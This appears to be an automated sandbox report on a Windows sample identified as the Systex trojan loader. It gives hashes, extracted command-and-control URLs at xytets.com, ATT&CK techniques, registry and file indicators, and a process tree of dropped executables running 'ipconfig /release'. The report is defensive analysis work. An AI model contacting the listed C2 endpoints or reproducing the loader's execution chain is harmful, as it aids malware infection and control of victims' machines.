systex | 775321a7b4de8238a6427b9429dc2146216a26d83c065f63af84b672c33454d3

Analysis

max time kernel
150s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
06/10/2026, 16:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Size 361KB
Sample261006-trnnsafe69
SHA256 775321a7b4de8238a6427b9429dc2146216a26d83c065f63af84b672c33454d3
MD5 b98f4a97dee19a6774912e4760feebed
SHA1 245bb1298b9064ffc8b2302b81a2dd916a5e876f
SHA512 5c4605bf1b01a3a9a27c7f9daadf31425c002eee723d7593a06eea56d6ef532dafe93e7f548d28be86187dc1f4f6e5e5beeb8b8e37c0350c4604ac38572e70db
SSDEEP 6144:BflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:BflfAsiVGjSGecvX
TLSH
T1B0747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba
http://xytets.com:2345/t.asp?os=home
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
2260	wupmhfzxrpjhczur.exe
4392	wupmhfzxrpjhczur.sys
924	CreateProcess.exe
5244	cwuomhfzxr.exe
6116	CreateProcess.exe
5480	CreateProcess.exe
200	i_cwuomhfzxr.exe
5728	ecwuomhezw.sys
5200	CreateProcess.exe
5248	wupjgezwrp.exe
4860	CreateProcess.exe
2096	CreateProcess.exe
4348	i_wupjgezwrp.exe
4212	ljgbzwrojg.sys
4548	CreateProcess.exe
4616	omgeywqolg.exe
2172	CreateProcess.exe
1216	CreateProcess.exe
4404	i_omgeywqolg.exe
3500	oljdbvtrlj.sys
1200	CreateProcess.exe
2496	gdywqoigay.exe
6036	CreateProcess.exe
1936	CreateProcess.exe
5180	i_gdywqoigay.exe
4248	igdywqljdb.sys
3864	CreateProcess.exe
1960	dbvtnlidbv.exe
4360	CreateProcess.exe
976	CreateProcess.exe
4664	i_dbvtnlidbv.exe
2896	sqnigaysqn.sys
4836	CreateProcess.exe
5440	qkigavsnli.exe
2264	CreateProcess.exe
4404	CreateProcess.exe
4280	i_qkigavsnli.exe
1724	kifausnkfd.sys
4620	CreateProcess.exe
2480	fzxvpnhfax.exe
2636	CreateProcess.exe
4372	CreateProcess.exe
260	i_fzxvpnhfax.exe
948	fcausnkfcx.sys
2012	CreateProcess.exe
364	uspkhcausm.exe
1976	CreateProcess.exe
1964	CreateProcess.exe
2824	i_uspkhcausm.exe
3212	hczxrpkhca.sys
4636	CreateProcess.exe
3164	zxrpjhczur.exe
2520	CreateProcess.exe
5632	CreateProcess.exe
1788	i_zxrpjhczur.exe
4504	urmjhbzurm.sys
4284	CreateProcess.exe
4736	omjhczurmk.exe
1288	CreateProcess.exe
788	CreateProcess.exe
5384	i_omjhczurmk.exe
2620	ojgeywuomj.sys
4472	CreateProcess.exe
2192	jhbztrljdb.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1948_1580141024\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1948_943850658\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1948_943850658\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1948_1349407486\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1948_89630717\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1948_1580141024\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1948_943850658\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1948_943850658\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1948_89630717\manifest.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ljhbztrlge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wupjgezwrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qkigavsnli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zurpjebzur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxrpjhczur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jgaytqljgb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vsqkicavsn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hfcxusmkfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ljhbztrlge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omgeywqolg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gdywqoigay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fzxvpnhfax.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uspkhcausm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omjhczurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omjhczurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dbvtnljdbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wupjgezwrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jgaytqljgb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hfcxusmkfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hfzxrpkhcw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bywqojgbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cwuomhfzxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dbvtnlidbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ysqkidaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hfzxrpkhcw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zurpjebzur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wupmhfzxrpjhczur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gdywqoigay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dbvtnlidbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhbztrljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dbvtnljdbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vsqkicavsn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cwuomhfzxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qkigavsnli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_uspkhcausm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omgeywqolg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fzxvpnhfax.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxrpjhczur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhbztrljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ysqkidaysq.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3408	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4596	ipconfig.exe
4340	ipconfig.exe
1408	ipconfig.exe
1812	ipconfig.exe
1396	ipconfig.exe
2716	ipconfig.exe
4948	ipconfig.exe
800	ipconfig.exe
2024	ipconfig.exe
4848	ipconfig.exe
4908	ipconfig.exe
5588	ipconfig.exe
1512	ipconfig.exe
2100	ipconfig.exe
2000	ipconfig.exe
2636	ipconfig.exe
4456	ipconfig.exe
5004	ipconfig.exe
200	ipconfig.exe
5728	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-650287814-2715975232-1279715623-1000\{00CF4354-683A-4B3F-9FC2-F333A67F1E2E}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2260	wupmhfzxrpjhczur.exe
2260	wupmhfzxrpjhczur.exe
2260	wupmhfzxrpjhczur.exe
2260	wupmhfzxrpjhczur.exe
2260	wupmhfzxrpjhczur.exe
2260	wupmhfzxrpjhczur.exe
2260	wupmhfzxrpjhczur.exe
2260	wupmhfzxrpjhczur.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
1948	msedge.exe
1948	msedge.exe
1948	msedge.exe
1948	msedge.exe
1948	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	200	i_cwuomhfzxr.exe
Token: SeDebugPrivilege	4348	i_wupjgezwrp.exe
Token: SeDebugPrivilege	4404	i_omgeywqolg.exe
Token: SeDebugPrivilege	5180	i_gdywqoigay.exe
Token: SeDebugPrivilege	4664	i_dbvtnlidbv.exe
Token: SeDebugPrivilege	4280	i_qkigavsnli.exe
Token: SeDebugPrivilege	260	i_fzxvpnhfax.exe
Token: SeDebugPrivilege	2824	i_uspkhcausm.exe
Token: SeDebugPrivilege	1788	i_zxrpjhczur.exe
Token: SeDebugPrivilege	5384	i_omjhczurmk.exe
Token: SeDebugPrivilege	6064	i_jhbztrljdb.exe
Token: SeDebugPrivilege	4820	i_jgaytqljgb.exe
Token: SeDebugPrivilege	2620	i_dbvtnljdbv.exe
Token: SeDebugPrivilege	3484	i_ysqkidaysq.exe
Token: SeDebugPrivilege	2688	i_vsqkicavsn.exe
Token: SeDebugPrivilege	3304	i_hfcxusmkfz.exe
Token: SeDebugPrivilege	4760	i_hfzxrpkhcw.exe
Token: SeDebugPrivilege	3220	i_zurpjebzur.exe
Token: SeDebugPrivilege	5164	i_ljhbztrlge.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1948	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2732 wrote to memory of 2260	2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	89
PID 2732 wrote to memory of 5168	2732	2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	90
PID 5168 wrote to memory of 1948	5168	iexplore.exe	91
PID 1948 wrote to memory of 6068	1948	msedge.exe	92
PID 1948 wrote to memory of 2560	1948	msedge.exe	93
PID 1948 wrote to memory of 3408	1948	msedge.exe	94
PID 1948 wrote to memory of 2560	1948	msedge.exe	93
PID 1948 wrote to memory of 2560	1948	msedge.exe	93
PID 1948 wrote to memory of 6032	1948	msedge.exe	95
PID 1948 wrote to memory of 6032	1948	msedge.exe	95
PID 1948 wrote to memory of 1920	1948	msedge.exe	97
PID 1948 wrote to memory of 1920	1948	msedge.exe	97
PID 1948 wrote to memory of 1920	1948	msedge.exe	97
PID 1948 wrote to memory of 1848	1948	msedge.exe	98
PID 1948 wrote to memory of 1848	1948	msedge.exe	98
PID 1948 wrote to memory of 1848	1948	msedge.exe	98
PID 1948 wrote to memory of 5584	1948	msedge.exe	99
PID 1948 wrote to memory of 5584	1948	msedge.exe	99
PID 1948 wrote to memory of 5584	1948	msedge.exe	99
PID 1948 wrote to memory of 2896	1948	msedge.exe	100
PID 1948 wrote to memory of 2896	1948	msedge.exe	100
PID 1948 wrote to memory of 2896	1948	msedge.exe	100
PID 1948 wrote to memory of 4500	1948	msedge.exe	103
PID 1948 wrote to memory of 4500	1948	msedge.exe	103
PID 2260 wrote to memory of 924	2260	wupmhfzxrpjhczur.exe	105
PID 5244 wrote to memory of 6116	5244	cwuomhfzxr.exe	108
PID 1948 wrote to memory of 1292	1948	msedge.exe	111
PID 1948 wrote to memory of 716	1948	msedge.exe	112
PID 1948 wrote to memory of 1292	1948	msedge.exe	111
PID 1948 wrote to memory of 716	1948	msedge.exe	112
PID 1948 wrote to memory of 2788	1948	msedge.exe	114
PID 1948 wrote to memory of 2716	1948	msedge.exe	115
PID 1948 wrote to memory of 2716	1948	msedge.exe	115
PID 1948 wrote to memory of 4564	1948	msedge.exe	118
PID 1948 wrote to memory of 4564	1948	msedge.exe	118
PID 2260 wrote to memory of 5480	2260	wupmhfzxrpjhczur.exe	119
PID 2260 wrote to memory of 5200	2260	wupmhfzxrpjhczur.exe	123
PID 5248 wrote to memory of 4860	5248	wupjgezwrp.exe	125
PID 2260 wrote to memory of 2096	2260	wupmhfzxrpjhczur.exe	128
PID 2260 wrote to memory of 4548	2260	wupmhfzxrpjhczur.exe	132
PID 4616 wrote to memory of 2172	4616	omgeywqolg.exe	134
PID 2260 wrote to memory of 1216	2260	wupmhfzxrpjhczur.exe	137
PID 2260 wrote to memory of 1200	2260	wupmhfzxrpjhczur.exe	141
PID 2496 wrote to memory of 6036	2496	gdywqoigay.exe	143
PID 2260 wrote to memory of 1936	2260	wupmhfzxrpjhczur.exe	147
PID 1948 wrote to memory of 1316	1948	msedge.exe	149
PID 1948 wrote to memory of 1976	1948	msedge.exe	150
PID 1948 wrote to memory of 4788	1948	msedge.exe	151
PID 2260 wrote to memory of 3864	2260	wupmhfzxrpjhczur.exe	154
PID 1960 wrote to memory of 4360	1960	dbvtnlidbv.exe	156
PID 2260 wrote to memory of 976	2260	wupmhfzxrpjhczur.exe	159
PID 2260 wrote to memory of 4836	2260	wupmhfzxrpjhczur.exe	163
PID 5440 wrote to memory of 2264	5440	qkigavsnli.exe	165
PID 2260 wrote to memory of 4404	2260	wupmhfzxrpjhczur.exe	168
PID 2260 wrote to memory of 4620	2260	wupmhfzxrpjhczur.exe	172
PID 2480 wrote to memory of 2636	2480	fzxvpnhfax.exe	174
PID 2260 wrote to memory of 4372	2260	wupmhfzxrpjhczur.exe	177
PID 2260 wrote to memory of 2012	2260	wupmhfzxrpjhczur.exe	181
PID 364 wrote to memory of 1976	364	uspkhcausm.exe	183
PID 2260 wrote to memory of 1964	2260	wupmhfzxrpjhczur.exe	186
PID 1948 wrote to memory of 896	1948	msedge.exe	188
PID 1948 wrote to memory of 896	1948	msedge.exe	188
PID 2260 wrote to memory of 4636	2260	wupmhfzxrpjhczur.exe	194
PID 3164 wrote to memory of 2520	3164	zxrpjhczur.exe	196

C:\Users\Admin\AppData\Local\Temp\2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-05_b98f4a97dee19a6774912e4760feebed_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2732
- C:\Temp\wupmhfzxrpjhczur.exe
  C:\Temp\wupmhfzxrpjhczur.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2260
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\cwuomhfzxr.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:924
  - - C:\Temp\cwuomhfzxr.exe
      C:\Temp\cwuomhfzxr.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5244
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:6116
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2100
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_cwuomhfzxr.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5480
  - - C:\Temp\i_cwuomhfzxr.exe
      C:\Temp\i_cwuomhfzxr.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:200
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wupjgezwrp.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5200
  - - C:\Temp\wupjgezwrp.exe
      C:\Temp\wupjgezwrp.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5248
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4860
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2024
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wupjgezwrp.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2096
  - - C:\Temp\i_wupjgezwrp.exe
      C:\Temp\i_wupjgezwrp.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4348
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\omgeywqolg.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4548
  - - C:\Temp\omgeywqolg.exe
      C:\Temp\omgeywqolg.exe ups_run
      4⤵
